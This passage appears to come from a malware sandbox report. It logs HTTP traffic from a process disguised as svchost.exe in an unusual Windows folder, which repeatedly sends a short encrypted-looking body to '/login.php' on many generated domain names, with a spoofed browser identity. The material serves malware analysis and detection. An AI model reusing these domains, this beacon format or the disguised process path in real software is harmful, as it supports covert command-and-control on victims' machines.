                                                                                                                                                                                                          Data Ascii: ;margin:.11em 0;line-height:18px;color:#fff}.two-tier-ads-list__list-element-link{font-size:1em;text-decoration:underline;color:#9fd801}.two-tier-ads-list__list-element-link:link,.two-tier-ads-list__list-element-link:visited{text-decoration:un
                                                                                                                                                                                                          Aug 23, 2024 18:43:08.745203972 CEST1236INData Raw: 63 6f 74 2e 63 6f 6d 22 2c 22 64 6f 6d 61 69 6e 4e 61 6d 65 22 3a 22 76 6f 66 79 63 6f 74 2e 63 6f 6d 22 2c 22 64 6f 6d 61 69 6e 50 72 69 63 65 22 3a 2d 32 2c 22 64 6f 6d 61 69 6e 43 75 72 72 65 6e 63 79 22 3a 22 22 2c 22 61 64 75 6c 74 46 6c 61
                                                                                                                                                                                                          Data Ascii: cot.com","domainName":"vofycot.com","domainPrice":-2,"domainCurrency":"","adultFlag":false,"pu":"//ww16.vofycot.com","dnsh":true,"dpsh":false,"toSell":true,"cdnHost":"img.sedoparking.com","adblockkey":" data-adblockkey=MFwwDQYJKoZIhvcNAQEBBQAD


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          33192.168.2.56353515.197.240.20805284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:43:17.260711908 CEST268OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: qexyhuv.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          34192.168.2.56268464.225.91.73805284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:43:28.085216045 CEST268OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: qetyhyg.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:43:28.678643942 CEST816INHTTP/1.1 200 OK
                                                                                                                                                                                                          server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                          date: Fri, 23 Aug 2024 16:43:28 GMT
                                                                                                                                                                                                          content-type: text/html
                                                                                                                                                                                                          content-length: 593
                                                                                                                                                                                                          last-modified: Wed, 22 Feb 2023 21:25:52 GMT
                                                                                                                                                                                                          etag: "63f68860-251"
                                                                                                                                                                                                          accept-ranges: bytes
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 35 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 6e 6f 6a 73 2e 64 6f 6d 61 69 6e 63 6e 74 72 6f 6c 2e 63 6f 6d 22 20 2f 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 6c 65 74 20 72 65 74 72 69 65 73 20 3d 20 33 2c 20 69 6e 74 65 72 76 61 6c 20 3d 20 31 30 30 30 3b 0a 20 20 20 20 28 66 75 6e 63 74 69 6f 6e 20 72 65 74 72 79 28 29 20 7b 0a 20 20 20 20 20 20 66 65 74 63 68 28 22 68 74 74 70 73 3a 2f 2f 64 6f 6d 61 69 6e 63 6e 74 72 6f 6c 2e 63 6f 6d 2f 3f 6f 72 69 67 68 6f 73 74 3d 22 20 2b 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 0a 20 20 20 20 20 20 20 20 2e 74 68 65 6e 28 72 65 73 70 6f 6e 73 65 20 3d 3e 20 72 65 73 70 6f 6e 73 65 2e 6a 73 6f 6e 28 29 29 0a 20 20 20 20 20 20 20 20 2e 74 68 65 6e 28 64 61 74 61 20 3d 3e 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <html><head> <meta http-equiv="refresh" content="5;url=https://nojs.domaincntrol.com" /></head><body> <script> let retries = 3, interval = 1000; (function retry() { fetch("https://domaincntrol.com/?orighost=" + window.location.href) .then(response => response.json()) .then(data => window.location.href = data) .catch(error => { if (retries > 0) { retries--; setTimeout(retry, interval); } else { console.error("Error: ", error); } }); })(); </script></body></html>


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          35192.168.2.56268572.52.179.174805284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:43:28.629759073 CEST268OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: gatyhub.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          36192.168.2.56268672.52.179.174805284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.170671940 CEST268OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: gatyhub.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          37192.168.2.54936952.34.198.229805284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:43:30.937434912 CEST268OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: lygyvuj.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.676779985 CEST409INHTTP/1.1 200 OK
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Fri, 23 Aug 2024 16:43:31 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          Set-Cookie: btst=6039f0f8b55b03d0af90373273dc6cf0|8.46.123.33|1724431411|1724431411|0|1|0; path=/; domain=.lygyvuj.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                                                                                                                                                                          Set-Cookie: snkz=8.46.123.33; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT
                                                                                                                                                                                                          Data Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: 0


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination Port
                                                                                                                                                                                                          38192.168.2.56010144.221.84.10580
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.032958984 CEST268OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: gahyhiz.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.519668102 CEST409INHTTP/1.1 200 OK
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Fri, 23 Aug 2024 16:43:33 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          Set-Cookie: btst=07971a32f0a4ae25246b18025c66802a|8.46.123.33|1724431413|1724431413|0|1|0; path=/; domain=.gahyhiz.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                                                                                                                                                                          Set-Cookie: snkz=8.46.123.33; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT
                                                                                                                                                                                                          Data Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: 0


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          39192.168.2.559528162.255.119.102805284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.366604090 CEST268OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: gahyqah.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:43:35.103714943 CEST303INHTTP/1.1 302 Found
                                                                                                                                                                                                          Date: Fri, 23 Aug 2024 16:43:35 GMT
                                                                                                                                                                                                          Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                          Content-Length: 55
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Location: http://www.gahyqah.com/login.php
                                                                                                                                                                                                          X-Served-By: Namecheap URL Forward
                                                                                                                                                                                                          Server: namecheap-nginx
                                                                                                                                                                                                          Data Raw: 3c 61 20 68 72 65 66 3d 27 68 74 74 70 3a 2f 2f 77 77 77 2e 67 61 68 79 71 61 68 2e 63 6f 6d 2f 6c 6f 67 69 6e 2e 70 68 70 27 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a
                                                                                                                                                                                                          Data Ascii: <a href='http://www.gahyqah.com/login.php'>Found</a>.


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          40192.168.2.5595293.64.163.50805284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.366822958 CEST268OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: puzylyp.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:43:35.007133007 CEST689INHTTP/1.1 410 Gone
                                                                                                                                                                                                          Server: openresty
                                                                                                                                                                                                          Date: Fri, 23 Aug 2024 16:43:34 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Content-Length: 542
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 31 30 20 47 6f 6e 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 31 30 20 47 6f 6e 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <html><head><title>410 Gone</title></head><body><center><h1>410 Gone</h1></center><hr><center>openresty</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
                                                                                                                                                                                                          Aug 23, 2024 18:43:35.008361101 CEST268OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: puzylyp.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:43:35.200848103 CEST689INHTTP/1.1 410 Gone
                                                                                                                                                                                                          Server: openresty
                                                                                                                                                                                                          Date: Fri, 23 Aug 2024 16:43:35 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Content-Length: 542
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 31 30 20 47 6f 6e 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 31 30 20 47 6f 6e 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <html><head><title>410 Gone</title></head><body><center><h1>410 Gone</h1></center><hr><center>openresty</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          41192.168.2.559530188.114.96.3805284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.377120972 CEST268OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: qegyhig.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:43:35.089855909 CEST793INHTTP/1.1 301 Moved Permanently
                                                                                                                                                                                                          Date: Fri, 23 Aug 2024 16:43:35 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Location: https://qegyhig.com/login.php
                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Wh2yImWBkaZmD%2FlL0eLcgSBLlkob0KDAXNrMFbLrs5gEN0nmVZv4kA0aDU2f866l1P5%2BTKKm7QDLDfUDh04Jz3MiA9Nly%2B4jSwgsx6oNl9h4MfqcIKen0V%2FbTYVZqA%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                          CF-RAY: 8b7c8ff65e2143b3-EWR
                                                                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                          Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
                                                                                                                                                                                                          Aug 23, 2024 18:43:36.280062914 CEST268OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: qegyhig.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:43:36.636260986 CEST788INHTTP/1.1 301 Moved Permanently
                                                                                                                                                                                                          Date: Fri, 23 Aug 2024 16:43:36 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Location: https://qegyhig.com/login.php
                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4bX%2F7kfHJMDbeb1JIc5%2Fbp1XGgU9ZYbuH5Er2YJMwO30c2z0MVz3TIR%2BMCLzTrHA0WEqFrzUthJMYWmjrxDeVEL8kfSRII%2F2Y03XJUSDTMqtn5wtHalDNVwbXJszgg%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                          CF-RAY: 8b7c9000187d43b3-EWR
                                                                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                          Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>
                                                                                                                                                                                                          Aug 23, 2024 18:43:36.721921921 CEST5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: 0


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          42192.168.2.559531172.234.222.143805284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.477802038 CEST268OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: vojyqem.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          43192.168.2.55953244.221.84.105805284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.551630974 CEST373OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: qetyfuv.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Cookie: btst=ba785a403bc90255316f056071bf01aa|8.46.123.33|1724431332|1724431332|0|1|0; snkz=8.46.123.33
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:43:35.027647972 CEST333INHTTP/1.1 200 OK
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Fri, 23 Aug 2024 16:43:34 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          Set-Cookie: btst=ba785a403bc90255316f056071bf01aa|8.46.123.33|1724431414|1724431332|41|2|0; path=/; domain=.qetyfuv.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                                                                                                                                                                          Data Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: 0


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          44192.168.2.55953318.208.156.248805284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.551754951 CEST373OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: vonypom.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Cookie: btst=aa184787ed2d77e1f6f59c2dc950863e|8.46.123.33|1724431332|1724431332|0|1|0; snkz=8.46.123.33
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:43:35.030492067 CEST333INHTTP/1.1 200 OK
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Fri, 23 Aug 2024 16:43:34 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          Set-Cookie: btst=aa184787ed2d77e1f6f59c2dc950863e|8.46.123.33|1724431414|1724431332|41|2|0; path=/; domain=.vonypom.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                                                                                                                                                                          Data Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: 0


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          45192.168.2.559534199.191.50.83805284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:43:34.551985025 CEST306OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: galyqaz.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Cookie: vsid=918vr471976932991951418
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:43:36.336677074 CEST620INHTTP/1.1 302 Found
